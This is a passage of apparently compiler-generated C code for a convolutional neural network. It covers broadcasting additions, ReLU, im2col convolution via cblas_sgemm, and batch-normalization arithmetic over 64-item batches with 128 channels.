x10069;\nint32_t x10075 = x10062 * x10069;\nfor(int x10071=0; x10071 < x10053; x10071++) {\nint32_t x10082 = x10065 * x10071;\nint32_t x10083 = x10081 + x10082;\nint32_t x10088 = x10068 * x10071;\nint32_t x10077 = x10061 * x10071;\nfor(int x10073=0; x10073 < x10055; x10073++) {\nint32_t x10084 = x10066 * x10073;\nint32_t x10085 = x10083 + x10084;\nint32_t x10079 = x10055 * x10073;\nfor(int x10074=0; x10074 < x10055; x10074++) {\nint32_t x10086 = x10067 * x10074;\nint32_t x10087 = x10085 + x10086;\nfloat x10089 = x9976[x10087];\nfloat x10090 = x82[x10088];\nint32_t x10076 = x10074 + x10075;\nint32_t x10078 = x10076 + x10077;\nint32_t x10080 = x10078 + x10079;\nfloat x10091 = x10089 + x10090;\nx10064[x10080] = x10091;\n\n}\n\n}\n\n}\n\n}\nbool x10101 = x10053 == 1;\nbool x10102 = x10101 || x8689;\nbool x10103 = x10053 == x8641;\nbool x10104 = x10102 || x10103;\nbool x10109;\nif (x10104) {\nx10109 = x10108;\n} else {\nx10109 = false;\n}\nbool x10110;\nif (x10109) {\nx10110 = x10108;\n} else {\nx10110 = false;\n}\nif (x10110) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x10053,x10055,x10055,64,x8641,x8643,x8643);\nassert(false && \"\");\n}\nbool x10116 = x10053 <= x8641;\nint32_t x10117;\nif (x10116) {\nx10117 = x8641;\n} else {\nx10117 = x10053;\n}\nint32_t x10133;\nif (x10101) {\nx10133 = 0;\n} else {\nx10133 = x10061;\n}\nfor(int x10136=0; x10136 < 64; x10136++) {\nint32_t x10142 = x10062 * x10136;\nint32_t x10149 = x8650 * x10136;\nfor(int x10138=0; x10138 < x10117; x10138++) {\nint32_t x10143 = x10133 * x10138;\nint32_t x10144 = x10142 + x10143;\nint32_t x10150 = x8721 * x10138;\nint32_t x10151 = x10149 + x10150;\nfor(int x10140=0; x10140 < x10119; x10140++) {\nint32_t x10145 = x10134 * x10140;\nint32_t x10146 = x10144 + x10145;\nint32_t x10152 = x8722 * x10140;\nint32_t x10153 = x10151 + x10152;\nfor(int x10141=0; x10141 < x10119; x10141++) {\nint32_t x10147 = x10135 * x10141;\nint32_t x10148 = x10146 + x10147;\nfloat x10156 = x10064[x10148];\nint32_t x10154 = x8723 * x10141;\nint32_t x10155 = x10153 + x10154;\nfloat x10157 = x8756[x10155];\nfloat x10158 = x10156 + x10157;\nx10064[x10148] = x10158;\n\n}\n\n}\n\n}\n\n}\nfloat* x10168 = (float*)myMalloc(x10063 * sizeof(float));;\nfor(int x10170=0; x10170 < x10063; x10170++) {\nfloat x10171 = x10064[x10170];\nbool x10172 = x10171 < 0.0f;\nif (x10172) {\nx10168[x10170] = 0.0f;\n} else {\nfloat x10175 = x10064[x10170];\nx10168[x10170] = x10175;\n}\n\n}\nfloat* x10189 = (float*)myMalloc(x10188 * sizeof(float));;\nint32_t x10192 = 64 * x10053;\nint32_t x10193 = x10192 * x10184;\nfloat* x10194 = (float*)myMalloc(x10193 * sizeof(float));;\nint32_t x10190 = x10053 * x10184;\nfor(int x10195=0; x10195 < 64; x10195++) {\nint32_t x10196 = x10195 * x10062;\nfloat* x10197 = x10168+x10196;\nint32_t x10198 = x10195 * x10185;\nfloat* x10199 = x10189+x10198;\nint32_t x10200 = x10195 * x10190;\nfloat* x10201 = x10194+x10200;\nfor(int x10202=0; x10202 < x10053; x10202++) {\nint32_t x10203 = x10202 / 1;\nint32_t x10207 = x10203 * x10183;\nint32_t x10208 = x10207 * x10183;\nint32_t x10204 = x10202 % 1;\nint32_t x10205 = x10204 / 1;\nint32_t x10209 = x10205 * x10183;\nint32_t x10210 = x10209 * x10183;\nint32_t x10211 = x10208 + x10210;\nint32_t x10206 = x10204 % 1;\nint32_t x10212 = x10206 * x10183;\nint32_t x10213 = x10212 * x10183;\nint32_t x10214 = x10211 + x10213;\nfloat* x10215 = x10201+x10214;\nint32_t x10216 = x10203 * x10055;\nint32_t x10217 = x10216 * x10055;\nfloat* x10218 = x10197+x10217;\nfor(int x10220=0; x10220 < x10183; x10220++) {\nint32_t x10222 = x10220 * x10183;\nfloat* x10223 = x10215+x10222;\nint32_t x10221 = x10220 + x10205;\nint32_t x10224 = x10221 * x10055;\nint32_t x10225 = x10224 + x10206;\nfloat* x10226 = x10218+x10225;\nmemcpy(x10223, x10226, 4 * x10183);;\n\n}\n\n}\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 128,x10184,x10053,1,x132,x10053,x10201,x10184,1,x10199,x10184);\n\n}\nint32_t x10235 = 0;\nint32_t x10236 = 1;\nx10236 *= 1;\nx10235 += 1;\nx10236 *= 1;\nx10236 *= 1;\nint32_t x10241 = x10235;\nbool x10242 = x10241 >= 2;\nif (x10242) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x10247 = x10241 == 0;\nif (x10247) {\nint32_t x10248 = x10236;\nbool x10249 = x10248 == 128;\nif (x10249) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x10256 = x10236;\nint32_t x10257 = 128 / x10256;\nbool x10258 = x10257 == 1;\nbool x10261;\nif (x454) {\nbool x10259 = 128 == x10257;\nbool x10260 = x10258 || x10259;\nx10261 = x10260;\n} else {\nx10261 = false;\n}\nbool x10265;\nif (x10261) {\nx10265 = x10264;\n} else {\nx10265 = false;\n}\nbool x10266;\nif (x10265) {\nx10266 = x10264;\n} else {\nx10266 = false;\n}\nif (x10266) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,128,x10183,x10183,1,x10257,1,1);\nassert(false && \"\");\n}\nbool x10272 = 128 <= x10257;\nint32_t x10273;\nif (x10272) {\nx10273 = x10257;\n} else {\nx10273 = 128;\n}\nint32_t x10282 = x10273 * x10281;\nint32_t x10283 = 64 * x10282;\nfloat* x10284 = (float*)myMalloc(x10283 * sizeof(float));;\nint32_t x10287;\nif (x10258) {\nx10287 = 0;\n} else {\nx10287 = 1;\n}\nfor(int x10288=0; x10288 < 64; x10288++) {\nint32_t x10300 = x10185 * x10288;\nint32_t x10294 = x10282 * x10288;\nfor(int x10290=0; x10290 < x10273; x10290++) {\nint32_t x10301 = x10184 * x10290;\nint32_t x10302 = x10300 + x10301;\nint32_t x10307 = x10287 * x10290;\nint32_t x10296 = x10281 * x10290;\nfor(int x10292=0; x10292 < x10275; x10292++) {\nint32_t x10303 = x10285 * x10292;\nint32_t x10304 = x10302 + x10303;\nint32_t x10298 = x10275 * x10292;\nfor(int x10293=0; x10293 < x10275; x10293++) {\nint32_t x10305 = x10286 * x10293;\nint32_t x10306 = x10304 + x10305;\nfloat x10308 = x10189[x10306];\nfloat x10309 = x236[x10307];\nint32_t x10295 = x10293 + x10294;\nint32_t x10297 = x10295 + x10296;\nint32_t x10299 = x10297 + x10298;\nfloat x10310 = x10308 - x10309;\nx10284[x10299] = x10310;\n\n}\n\n}\n\n}\n\n}\nfloat* x10320 = (float*)myMalloc(128 * sizeof(float));;\nfor(int x10321=0; x10321 < 128; x10321++) {\nfloat x10322 = x261[x10321];\nfloat x10323 = x10322 + 1.0E-5f;\nx10320[x10321] = x10323;\n\n}\nfloat* x10327 = (float*)myMalloc(128 * sizeof(float));;\nfor(int x10328=0; x10328 < 128; x10328++) {\nfloat x10329 = x10320[x10328];\ndouble x10330 = (double)x10329;\ndouble x10331 = sqrt(x10330);\nfloat x10332 = (float)x10331;\nx10327[x10328] = x10332;\n\n}\nint32_t x10336 = 0;\nint32_t x10337 = 1;\nx10337 *= 1;\nx10336 += 1;\nx10337 *= 1;\nx10337 *= 1;\nint32_t x10342 = x10336;\nbool x10343 = x10342 >= 2;\nif (x10343) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x10348 = x10342 == 0;\nif (x10348) {\nint32_t x10349 = x10337;\nbool x10350 = x10349 == 128;\nif (x10350) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x10357 = x10337;\nbool x10359 = x10273 == 1;\nint32_t x10358 = 128 / x10357;\nbool x10360 = x10358 == 1;\nbool x10364;\nif (x454) {\nbool x10361 = x10359 || x10360;\nbool x10362 = x10273 == x10358;\nbool x10363 = x10361 || x10362;\nx10364 = x10363;\n} else {\nx10364 = false;\n}\nbool x10368;\nif (x10364) {\nx10368 = x10367;\n} else {\nx10368 = false;\n}\nbool x10369;\nif (x10368) {\nx10369 = x10367;\n} else {\nx10369 = false;\n}\nif (x10369) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x10273,x10275,x10275,1,x10358,1,1);\nassert(false && \"\");\n}\nbool x10375 = x10273 <= x10358;\nint32_t x10376;\nif (x10375) {\nx10376 = x10358;\n} else {\nx10376 = x10273;\n}\nint32_t x10385 = x10376 * x10384;\nint32_t x10386 = 64 * x10385;\nfloat* x10387 = (float*)myMalloc(x10386 * sizeof(float));;\nint32_t x10388;\nif (x10359) {\nx10388 = 0;\n} else {\nx10388 = x10281;\n}\nint32_t x10391;\nif (x10360) {\nx10391 = 0;\n} else {\nx10391 = 1;\n}\nfor(int x10392=0; x10392 < 64; x10392++) {\nint32_t x10404 = x10282 * x10392;\nint32_t x10398 = x10385 * x10392;\nfor(int x10394=0; x10394 < x10376; x10394++) {\nint32_t x10405 = x10388 * x10394;\nint32_t x10406 = x10404 + x10405;\nint32_t x10411 = x10391 * x10394;\nint32_t x10400 = x10384 * x10394;\nfor(int x10396=0; x10396 < x10378; x10396++) {\nint32_t x10407 = x10389 * x10396;\nint32_t x10408 = x10406 + x10407;\nint32_t x10402 = x10378 * x10396;\nfor(int x10397=0; x10397 < x10378; x10397++) {\nint32_t x10409 = x10390 * x10397;\nint32_t x10410 = x10408 + x10409;\nfloat x10412 = x10284[x10410];\nfloat x10413 = x10327[x10411];\nint32_t x10399 = x10397 + x10398;\nint32_t x10401 = x10399 + x10400;\nint32_t x10403 = x10401 + x10402;\nfloat x10414 = x10412 / x10413;\nx10387[x10403] = x10414;\n\n}\n\n}\n\n}\n\n}\nint32_t x10424 = 0;\nint32_t x10425 = 1;\nx10425 *= 1;\nx10424 += 1;\nx10425 *= 1;\nx10425 *= 1;\nint32_t x10430 = x10424;\nbool x10431 = x10430 >= 2;\nif (x10431) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x10436 = x10430 == 0;\nif (x10436) {\nint32_t x10437 = x10425;\nbool x10438 = x10437 == 128;\nif (x10438) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x10445 = x10425;\nbool x10447 = x10376 == 1;\nint32_t x10446 = 128 / x10445;\nbool x10448 = x10446 == 1;\nbool x10452;\nif (x454) {\nbool x10449 = x10447 || x10448;\nbool x10450 = x10376 == x10446;\nbool x10451 = x10449 || x10450;\nx10452 = x10451;\n} else {\nx10452 = false;\n}\nbool x10456;\nif (x10452) {\nx10456 = x10455;\n} else {\nx10456 = false;\n}\nbool x10457;\nif (x10456) {\nx10457 = x10455;\n} else {\nx10457 = false;\n}\nif (x10457) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x10376,x10378,x10378,1,x10446,1,1);\nassert(false && \"\");\n}\nbool x10463 = x10376 <= x10446;\nint32_t x10464;\nif (x10463) {\nx10464 = x10446;\n} else {\nx10464 = x10376;\n}\nint32_t x10473 = x10464 * x10472;\nint32_t x10474 = 64 * x10473;\nfloat* x10475 = (float*)myMalloc(x10474 * sizeof(float));;\nint32_t x10476;\nif (x10447) {\nx10476 = 0;\n} else {\nx10476 = x10384;\n}\nint32_t x10479;\nif (x10448) {\nx10479 = 0;\n} else {\nx10479 = 1;\n}\nfor(int x10480=0; x10480 < 64; x10480++) {\nint32_t x10492 = x10385 * x10480;\nint32_t x10486 = x10473 * x10480;\nfor(int x10482=0; x10482 < x10464; x10482++) {\nint32_t x10493 = x10476 * x10482;\nint32_t x10494 = x10492 + x10493;\nint32_t x10499 = x10479 * x10482;\nint32_t x10488 = x10472 * x10482;\nfor(int x10484=0; x10484 < x10466; x10484++) {\nint32_t x10495 = x10477 * x10484;\nint32_t x10496 = x10494 + x10495;\nint32_t x10490 = x10466 * x10484;\nfor(int x10485=0; x10485 < x10466; x10485++) {\nint32_t x10497 = x10478 * x10485;\nint32_t x10498 = x10496 + x10497;\nfloat x10500 = x10387[x10498];\nfloat x10501 = x39[x10499];\nint32_t x10487 = x10485 + x10486;\nint32_t x10489 = x10487 + x10488;\nint32_t x10491 = x10489 + x10490;\nfloat x10502 = x10500 * x10501;\nx10475[x10491] = x10502;\n\n}\n\n}\n\n}\n\n}\nint32_t x10512 = 0;\nint32_t x10513 = 1;\nx10513 *= 1;\nx10512 += 1;\nx10513 *= 1;\nx10513 *= 1;\nint32_t x10518 = x10512;\nbool x10519 = x10518 >= 2;\nif (x10519) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x10524 = x10518 == 0;\nif (x10524) {\nint32_t x10525 = x10513;\nbool x10526 = x10525 == 128;\nif (x10526) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x10533 = x10513;\nbool x10535 = x10464 == 1;\nint32_t x10534 = 128 / x10533;\nbool x10536 = x10534 == 1;\nbool x10540;\nif (x454) {\nbool x10537 = x10535 || x10536;\nbool x10538 = x10464 == x10534;\nbool x10539 = x10537 || x10538;\nx10540 = x10539;\n} else {\nx10540 = false;\n}\nbool x10544;\nif (x10540) {\nx10544 = x10543;\n} else {\nx10544 = false;\n}\nbool x10545;\nif (x10544) {\nx10545 = x10543;\n} else {\nx10545 = false;\n}\nif (x10545) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x10464,x10466,x10466,1,x10534,1,1);\nassert(false && \"\");\n}\nbool x10551 = x10464 <= x10534;\nint32_t x10552;\nif (x10551) {\nx10552 = x10534;\n} else {\nx10552 = x10464;\n}\nint32_t x10561 = x10552 * x10560;\nint32_t x10562 = 64 * x10561;\nfloat* x10563 = (float*)myMalloc(x10562 * sizeof(float));;\nint32_t x10564;\nif (x10535) {\nx10564 = 0;\n} else {\nx10564 = x10472;\n}\nint32_t x10567;\nif (x10536) {\nx10567 = 0;\n} else {\nx10567 = 1;\n}\nfor(int x10568=0; x10568 < 64; x10568++) {\nint32_t x10580 = x10473 * x10568;\nint32_t x10574 = x10561 * x10568;\nfor(int x10570=0; x10570 < x10552; x10570++) {\nint32_t x10581 = x10564 * x10570;\nint32_t x10582 = x10580 + x10581;\nint32_t x10587 = x10567 * x10570;\nint32_t x10576 = x10560 * x10570;\nfor(int x10572=0; x10572 < x10554; x10572++) {\nint32_t x10583 = x10565 * x10572;\nint32_t x10584 = x10582 + x10583;\nint32_t x10578 = x10554 * x10572;\nfor(int x10573=0; x10573 < x10554; x10573++) {\nint32_t x10585 = x10566 * x10573;\nint32_t x10586 = x10584 + x10585;\nfloat x10588 = x10475[x10586];\nfloat x10589 = x242[x10587];\nint32_t x10575 = x10573 + x10574;\nint32_t x10577 = x10575 + x10576;\nint32_t x10579 = x10577 + x10578;\nfloat x10590 = x10588 + x10589;\nx10563[x10579] = x10590;\n\n}\n\n}\n\n}\n\n}\nfloat* x10600 = (float*)myMalloc(x10562 * sizeof(float));;\nfor(int x10602=0; x10602 < x10562; x10602++) {\nfloat x10603 = x10563[x10602];\nbool x10604 = x10603 < 0.0f;\nif (x10604) {\nx10600[x10602] = 0.0f;\n} else {\nfloat x10607 = x10563[x10602];\nx10600[x10602] = x10607;\n}\n\n}\nfloat* x10622 = (float*)myMalloc(x10621 * sizeof(float));;\nint32_t x10623 = 9 * x10552;\nint32_t x10626 = 64 * x10623;\nint32_t x10627 = x10626 * x10617;\nfloat* x10628 = (float*)myMalloc(x10627 * sizeof(float));;\nint32_t x10624 = x10623 * x10617;\nint32_t x10636 = x10552 * 3;\nint32_t x10637 = x10636 * 3;\nfor(int x10629=0; x10629 < 64; x10629++) {\nint32_t x10630 = x10629 * x10561;\nfloat* x10631 = x10600+x10630;\nint32_t x10632 = x10629 * x10618;\nfloat* x10633 = x10622+x10632;\nint32_t x10634 = x10629 * x10624;\nfloat* x10635 = x10628+x10634;\nfor(int x10639=0; x10639 < x10637; x10639++) {\nint32_t x10640 = x10639 / 9;\nint32_t x10644 = x10640 * 3;\nint32_t x10645 = x10644 * 3;\nint32_t x10646 = x10645 * x10616;\nint32_t x10647 = x10646 * x10616;\nint32_t x10641 = x10639 % 9;\nint32_t x10642 = x10641 / 3;\nint32_t x10648 = x10642 * 3;\nint32_t x10649 = x10648 * x10616;\nint32_t x10650 = x10649 * x10616;\nint32_t x10651 = x10647 + x10650;\nint32_t x10643 = x10641 % 3;\nint32_t x10652 = x10643 * x10616;\nint32_t x10653 = x10652 * x10616;\nint32_t x10654 = x10651 + x10653;\nfloat* x10655 = x10635+x10654;\nint32_t x10656 = x10640 * x10554;\nint32_t x10657 = x10656 * x10554;\nfloat* x10658 = x10631+x10657;\nint32_t x10671 = 1 - x10643;\nbool x10672 = x10671 > 0;\nint32_t x10673;\nif (x10672) {\nx10673 = x10671;\n} else {\nx10673 = 0;\n}\nint32_t x10674 = 3 - x10643;\nint32_t x10675 = x10674 - 1;\nint32_t x10676 = 1 - x10675;\nbool x10677 = x10676 > 0;\nint32_t x10678;\nif (x10677) {\nx10678 = x10676;\n} else {\nx10678 = 0;\n}\nint32_t x10679 = x10616 - x10678;\nint32_t x10680 = x10679 - x10673;\nbool x10681 = x10680 <= 0;\nbool x10685 = x10673 > 0;\nint32_t x10670 = -1 + x10643;\nbool x10698 = x10678 > 0;\nfor(int x10660=0; x10660 < x10616; x10660++) {\nint32_t x10661 = x10660 - 1;\nint32_t x10662 = x10661 + x10642;\nbool x10663 = x10662 < 0;\nbool x10664 = x10662 >= x10554;\nbool x10665 = x10663 || x10664;\nif (x10665) {\nint32_t x10666 = x10660 * x10616;\nfloat* x10667 = x10655+x10666;\nmemset(x10667, 0, 4 * x10616);;\n} else {\nif (x10681) {\nint32_t x10666 = x10660 * x10616;\nfloat* x10682 = x10655+x10666;\nmemset(x10682, 0, 4 * x10616);;\n} else {\nint32_t x10666 = x10660 * x10616;\nif (x10685) {\nfloat* x10686 = x10655+x10666;\nmemset(x10686, 0, 4 * x10673);;\n} else {\n}\n// may have segfault here\nint32_t x10691 = x10666 + x10673;\nfloat* x10692 = x10655+x10691;\nint32_t x10693 = x10662 * x10554;\nint32_t x10694 = x10693 + x10670;\nint32_t x10695 = x10694 + x10673;\nfloat* x10696 = x10658+x10695;\nmemcpy(x10692, x10696, 4 * x10680);;\nif (x10698) {\nint32_t x10699 = x10666 + x10616;\nint32_t x10700 = x10699 - x10678;\nfloat* x10701 = x10655+x10700;\nmemset(x10701, 0, 4 * x10678);;\n} else {\n}\n}\n}\n\n}\n\n}\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 128,x10617,x10623,1,x165,x10623,x10635,x10617,1,x10633,x10617);\n\n}\nint32_t x10716 = 0;\nint32_t x10717 = 1;\nx10717 *= 1;\nx10716 += 1;\nx10717 *= 1;\nx10717 *= 1;\nint32_t x10722 = x10716;\nbool x10723 = x10722 >= 2;\nif (x10723) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x10728 = x10722 == 0;\nif (x10728) {\nint32_t x10729 = x10717;\nbool x10730 = x10729 == 128;\nif (x10730) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x10737 = x10717;\nint32_t x10738 = 128 / x10737;\nbool x10739 = x10738 == 1;\nbool x10742;\nif (x454) {\nbool x10740 = 128 == x10738;\nbool x10741 = x10739 || x10740;\nx10742 = x10741;\n} else {\nx10742 = false;\n}\nbool x10746;\nif (x10742) {\nx10746 = x10745;\n} else {\nx10746 = false;\n}\nbool x10747;\nif (x10746) {\nx10747 = x10745;\n} else {\nx10747 = false;\n}\nif (x10747) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,128,x10616,x10616,1,x10738,1,1);\nassert(false && \"\");\n}\nbool x10753 = 128 <= x10738;\nint32_t x10754;\nif (x10753) {\nx10754 = x10738;\n} else {\nx10754 = 128;\n}\nint32_t x10763 = x10754 * x10762;\nint32_t x10764 = 64 * x10763;\nfloat* x10765 = (float*)myMalloc(x10764 * sizeof(float));;\nint32_t x10768;\nif (x10739) {\nx10768 = 0;\n} else {\nx10768 = 1;\n}\nfor(int x10769=0; x10769 < 64; x10769++) {\nint32_t x10781 = x10618 * x10769;\nint32_t x10775 = x10763 * x10769;\nfor(int x10771=0; x10771 < x10754; x10771++) {\nint32_t x10782 = x10617 * x10771;\nint32_t x10783 = x10781 + x10782;\nint32_t x10788 = x10768 * x10771;\nint32_t x10777 = x10762 * x10771;\nfor(int x10773=0; x10773 < x10756; x10773++) {\nint32_t x10784 = x10766 * x10773;\nint32_t x10785 = x10783 + x10784;\nint32_t x10779 = x10756 * x10773;\nfor(int x10774=0; x10774 < x10756; x10774++) {\nint32_t x10786 = x10767 * x10774;\nint32_t x10787 = x10785 + x10786;\nfloat x10789 = x10622[x10787];\nfloat x10790 = x268[x10788];\nint32_t x10776 = x10774 + x10775;\nint32_t x10778 = x10776 + x10777;\nint32_t x10780 = x10778 + x10779;\nfloat x10791 = x10789 - x10790;\nx10765[x10780] = x10791;\n\n}\n\n}\n\n}\n\n}\nfloat* x10801 = (float*)myMalloc(128 * sizeof(float));;\nfor(int x10802=0; x10802 < 128; x10802++) {\nfloat x10803 = x148[x10802];\nfloat x10804 = x10803 + 1.0E-5f;\nx10801[x10802] = x10804;\n\n}\nfloat* x10808 = (float*)myMalloc(128 * sizeof(float));;\nfor(int x10809=0; x10809 < 128; x10809++) {\nfloat x10810 = x10801[x10809];\ndouble x10811 = (double)x10810;\ndouble x10812 = sqrt(x10811);\nfloat x10813 = (float)x10812;\nx10808[x10809] = x10813;\n\n}\nint32_t x10817 = 0;\nint32_t x10818 = 1;\nx10818 *= 1;\nx10817 += 1;\nx10818 *= 1;\nx10818 *= 1;\nint32_t x10823 = x10817;\nbool x10824 = x10823 >= 2;\nif (x10824) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x10829 = x10823 == 0;\nif (x10829) {\nint32_t x10830 = x10818;\nbool x10831 = x10830 == 128;\nif (x10831) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x10838 = x10818;\nbool x10840 = x10754 == 1;\nint32_t x10839 = 128 / x10838;\nbool x10841 = x10839 == 1;\nbool x10845;\nif (x454) {\nbool x10842 = x10840 || x10841;\nbool x10843 = x10754 == x10839;\nbool x10844 = x10842 || x10843;\nx10845 = x10844;\n} else {\nx10845 = false;\n}\nbool x10849;\nif (x10845) {\nx10849 = x10848;\n} else {\nx10849 = false;\n}\nbool x10850;\nif (x10849) {\nx10850 = x10848;\n} else {\nx10850 = false;\n}\nif (x10850) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x10754,x10756,x10756,1,x10839,1,1);\nassert(false && \"\");\n}\nbool x10856 = x10754 <= x10839;\nint32_t x10857;\nif (x10856) {\nx10857 = x10839;\n} else {\nx10857 = x10754;\n}\nint32_t x10866 = x10857 * x10865;\nint32_t x10867 = 64 * x10866;\nfloat* x10868 = (float*)myMalloc(x10867 * sizeof(float));;\nint32_t x10869;\nif (x10840) {\nx10869 = 0;\n} else {\nx10869 = x10762;\n}\nint32_t x10872;\nif (x10841) {\nx10872 = 0;\n} else {\nx10872 = 1;\n}\nfor(int x10873=0; x10873 < 64; x10873++) {\nint32_t x10885 = x10763 * x10873;\nint32_t x10879 = x10866 * x10873;\nfor(int x10875=0; x10875 < x10857; x10875++) {\nint32_t x10886 = x10869 * x10875;\nint32_t x10887 = x10885 + x10886;\nint32_t x10892 = x10872 * x10875;\nint32_t x10881 = x10865 * x10875;\nfor(int x10877=0; x10877 < x10859; x10877++) {\nint32_t x10888 = x10870 * x10877;\nint32_t x10889 = x10887 + x10888;\nint32_t x10883 = x10859 * x10877;\nfor(int x10878=0; x10878 < x10859; x10878++) {\nint32_t x10890 = x10871 * x10878;\nint32_t x10891 = x10889 + x10890;\nfloat x10893 = x10765[x10891];\nfloat x10894 = x10808[x10892];\nint32_t x10880 = x10878 + x10879;\nint32_t x10882 = x10880 + x10881;\nint32_t x10884 = x10882 + x10883;\nfloat x10895 = x10893 / x10894;\nx10868[x10884] = x10895;\n\n}\n\n}\n\n}\n\n}\nint32_t x10905 = 0;\nint32_t x10906 = 1;\nx10906 *= 1;\nx10905 += 1;\nx10906 *= 1;\nx10906 *= 1;\nint32_t x10911 = x10905;\nbool x10912 = x10911 >= 2;\nif (x10912) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x10917 = x10911 == 0;\nif (x10917) {\nint32_t x10918 = x10906;\nbool x10919 = x10918 == 128;\nif (x10919) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x10926 = x10906;\nbool x10928 = x10857 == 1;\nint32_t x10927 = 128 / x10926;\nbool x10929 = x10927 == 1;\nbool x10933;\nif (x454) {\nbool x10930 = x10928 || x10929;\nbool x10931 = x10857 == x10927;\nbool x10932 = x10930 || x10931;\nx10933 = x10932;\n} else {\nx10933 = false;\n}\nbool x10937;\nif (x10933) {\nx10937 = x10936;\n} else {\nx10937 = false;\n}\nbool x10938;\nif (x10937) {\nx10938 = x10936;\n} else {\nx10938 = false;\n}\nif (x10938) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x10857,x10859,x10859,1,x10927,1,1);\nassert(false && \"\");\n}\nbool x10944 = x10857 <= x10927;\nint32_t x10945;\nif (x10944) {\nx10945 = x10927;\n} else {\nx10945 = x10857;\n}\nint32_t x10954 = x10945 * x10953;\nint32_t x10955 = 64 * x10954;\nfloat* x10956 = (float*)myMalloc(x10955 * sizeof(float));;\nint32_t x10957;\nif (x10928) {\nx10957 = 0;\n} else {\nx10957 = x10865;\n}\nint32_t x10960;\nif (x10929) {\nx10960 = 0;\n} else {\nx10960 = 1;\n}\nfor(int x10961=0; x10961 < 64; x10961++) {\nint32_t x10973 = x10866 * x10961;\nint32_t x10967 = x10954 * x10961;\nfor(int x10963=0; x10963 < x10945; x10963++) {\nint32_t x10974 = x10957 * x10963;\nint32_t x10975 = x10973 + x10974;\nint32_t x10980 = x10960 * x10963;\nint32_t x10969 = x10953 * x10963;\nfor(int x10965=0; x10965 < x10947; x10965++) {\nint32_t x10976 = x10958 * x10965;\nint32_t x10977 = x10975 + x10976;\nint32_t x10971 = x10947 * x10965;\nfor(int x10966=0; x10966 < x10947; x10966++) {\nint32_t x10978 = x10959 * x10966;\nint32_t x10979 = x10977 + x10978;\nfloat x10981 = x10868[x10979];\nfloat x10982 = x79[x10980];\nint32_t x10968 = x10966 + x10967;\nint32_t x10970 = x10968 + x10969;\nint32_t x10972 = x10970 + x10971;\nfloat x10983 = x10981 * x10982;\nx10956[x10972] = x10983;\n\n}\n\n}\n\n}\n\n}\nint32_t x10993 = 0;\nint32_t x10994 = 1;\nx10994 *= 1;\nx10993 += 1;\nx10994 *= 1;\nx10994 *= 1;\nint32_t x10999 = x10993;\nbool x11000 = x10999 >= 2;\nif (x11000) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x11005 = x10999 == 0;\nif (x11005) {\nint32_t x11006 = x10994;\nbool x11007 = x11006 == 128;\nif (x11007) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x11014 = x10994;\nbool x11016 = x10945 == 1;\nint32_t x11015 = 128 / x11014;\nbool x11017 = x11015 == 1;\nbool x11021;\nif (x454) {\nbool x11018 = x11016 || x11017;\nbool x11019 = x10945 == x11015;\nbool x11020 = x11018 || x11019;\nx11021 = x11020;\n} else {\nx11021 = false;\n}\nbool x11025;\nif (x11021) {\nx11025 = x11024;\n} else {\nx11025 = false;\n}\nbool x11026;\nif (x11025) {\nx11026 = x11024;\n} else {\nx11026 = false;\n}\nif (x11026) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x10945,x10947,x10947,1,x11015,1,1);\nassert(false && \"\");\n}\nbool x11032 = x10945 <= x11015;\nint32_t x11033;\nif (x11032) {\nx11033 = x11015;\n} else {\nx11033 = x10945;\n}\nint32_t x11042 = x11033 * x11041;\nint32_t x11043 = 64 * x11042;\nfloat* x11044 = (float*)myMalloc(x11043 * sizeof(float));;\nint32_t x11045;\nif (x11016) {\nx11045 = 0;\n} else {\nx11045 = x10953;\n}\nint32_t x11048;\nif (x11017) {\nx11048 = 0;\n} else {\nx11048 = 1;\n}\nfor(int x11049=0; x11049 < 64; x11049++) {\nint32_t x11061 = x10954 * x11049;\nint32_t x11055 = x11042 * x11049;\nfor(int x11051=0; x11051 < x11033; x11051++) {\nint32_t x11062 = x11045 * x11051;\nint32_t x11063 = x11061 + x11062;\nint32_t x11068 = x11048 * x11051;\nint32_t x11057 = x11041 * x11051;\nfor(int x11053=0; x11053 < x11035; x11053++) 